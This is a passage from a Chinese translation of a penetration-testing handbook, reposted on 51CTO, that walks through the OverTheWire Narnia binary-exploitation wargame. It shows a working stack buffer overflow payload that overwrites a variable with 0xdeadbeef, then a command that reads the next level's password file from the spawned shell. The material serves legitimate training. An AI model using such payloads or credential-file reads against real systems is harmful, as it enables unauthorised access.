|
|
51CTO旗下网站
|
|
移动端

1.6.2 二进制利用(1)

《黑客秘笈——渗透测试实用指南(第2版)》第1章赛前准备——安装,本章介绍的内容主要是帮助搭建一个标准的测试平台。您要具有扎实的PowerShell语言基础,并且能够理解二进制漏洞利用的基本原理。本节为大家介绍二进制利用。

作者:孙勇 译来源:人民邮电出版社|2017-09-06 20:50

【51CTO技术沙龙】10月27日,让我们共同探索AI场景化应用实现之道

1.6.2 二进制利用(1)

与本书第1版一样,本书没有深入研究二进制利用技术,因为它是一个完全不同的主题,如果想深入学习这个主题,请阅读下面的书籍:The Shellcoders Handbook(http://amzn.to/1E3k89R)或者Hacking: The Art of Exploitation,2nd Edition(http://amzn.to/1z8oThD)。然而,这并不意味着您不需要理解缓冲区溢出和基本漏洞技术。既然所有的渗透测试人员都需要能够编写脚本代码,那么他们也需要能理解漏洞利用代码。比如可能在Metasploit找到一个模块,它不能正常工作,需要较小的调整,或者需要验证从互联网下载的漏洞利用代码。

已经有大量不同类型网站,帮助开始学习二进制漏洞基础知识。一个非常好的学习网站是Over the Wire(http://overthewire.org/wargames/narnia/ )。Over the Wire网站是一个在线夺旗挑战站点,专注于从二进制攻击到网站攻击所有方面的知识。在本章,仅仅介绍二进制漏洞利用。如果您之前没有了解相关的背景知识,我建议用几个周末的时间深入研究这个网站。为了顺利进入情况,我先和您一起回答几个试题,然而后面的挑战试题需要您自己完成。

在开始前,需要学习以下基础知识:

基本的汇编语言和理解寄存器的使用;

GDB基础知识(GNU调试器);

理解不同类型的内存段(栈、堆、数据、BSS和代码段);

Shellcode基本概念。

下面这些资源可能会对学习有所帮助:

http://opensecuritytraining.info/IntroX86.html

http://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/

https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stackbased-overflows/

http://www.lethalsecurity.com/wiki

http://opensecuritytraining.info/Exploits1.html

https://exploit-exercises.com/protostar/

Narnia设置(http://overthewire.org/wargames/narnia/

(1)阶段1

Narnia正确配置后,SSH登录到它们的服务器,所有的挑战位于/narnia/目录下。下面详细了解前三个例子。在Kali的终端提示符下或者在Windows下使用类似于Putty(http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html)的软件。

ssh narnia0@narnia.labs.overthewire.org

Password: narnia0

cd /narnia/

每一阶段挑战都提供C语言代码和二进制可执行文件。对于挑战0,具有访问narnia0和narnia0.c的权限。现在看一下C代码。

cat narnia0.c

快速浏览代码(见图1.5)后,看到变量“val”被赋值十六进制“AAAA”。其次,可以看到,程序接受输入的缓冲区长度为20字节。在之后的一些行,scanf()函数允许最多输入24字节。这是非常简单的缓冲区溢出例子。现在运行可执行文件,作为测试,输入20个A和4个B(因为我们知道十六进制值A=41和B=42),在命令提示符下,显示的字符如下:

narnia0@melinda:/narnia$ ./narnia0

修改val的值0x41414141 -> 0xdeadbeef!

这个是您的机会:AAAAAAAAAAAAAAAAAAAABBBB

缓冲区:AAAAAAAAAAAAAAAAAAAABBBB

val:0x42424242

退出!!!!

太棒了!因为val十六进制值是0x42424242(42对应ASCII字母B),可以修改内存中val的值,之前这个值是0x41414141。现在需要做的就是修改内存值为0xdeadbeef。这里提醒一下,所有写到堆栈中的值必须是小端格式(http://en.wikipedia.org/wiki/Endianness ),这意味着0xdeadbeef最后的字节必须是第一个压到栈中的字节,从而覆盖val的值。目标机器栈机制是先进后出(FILO),或者说是后进先出(LIFO)的架构。因此,为了设置0xdeadbeef值,以“\xef\xbe\xad\xde”顺序写入。最简单的方式是使用Python语言生成所需的数值,并将其作为narnia0例子的输入值。请看下面的操作过程:

narnia0@melinda:/narnia$ python -c 'print "A"*20 + "\xef\xbe\xad\xde"' | ./narnia0

修正val变量值从0x41414141 -> 0xdeadbeef!

这是机会:buf: AAAAAAAAAAAAAAAAAAAA?

val: 0xdeadbeef

太棒了!现在已经将deadbeef值写入“val”变量中。那么如何运行shell命令呢?再查看C代码,可以看到,如果匹配deadbeef,/bin/sh将被调用。因此运行Python代码,并读取位于/etc/narnia_pass/narnia1的密钥:

narnia0@melinda:/narnia$ (python -c 'print "A"*20 + "\xef\xbe\xad\xde"'; echo 'cat /etc/narnia_pass/narnia1') | /narnia/narnia0

修正val变量值从0x41414141到0xdeadbeef!

这是机会:缓冲区:AAAAAAAAAAAAAAAAAAAA?

val: 0xdeadbeef

[阶段1的答案]

如果成功了,就通过阶段1,并获得narnia1账户的口令(见图1.6)。现在需要注销账户并使用narnia1账户重新登录。

(2)阶段2

在完成每一个阶段后,都可以获得下一个账户的口令。使用刚刚获得narnia1账户登录阶段2:

ssh narnia1@narnia.labs.overthewire.org

Password: [narnia1的密码]

cd /narnia/

cat narnia1.c

浏览这段C代码(见图1.7),很快可以看到一些操作。

int (*ret)():是一个指向ret的指针,用于获取指针对应的数值。

getenv:引入一个环境变量EGG并将值存入变量ret中。

调用ret()。

喜欢的朋友可以添加我们的微信账号:

【责任编辑:book TEL:(010)68476606】

回书目   上一节   下一节
点赞 0
分享:
大家都在看
猜你喜欢

读 书 +更多

超级网管员——网络应用

本书全面、深入地介绍了网络应用技术,主要内容包括:RMS权限管理服务、Exchange邮件服务、LCS即时消息服务、WSUS系统更新服务、Symantec网...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊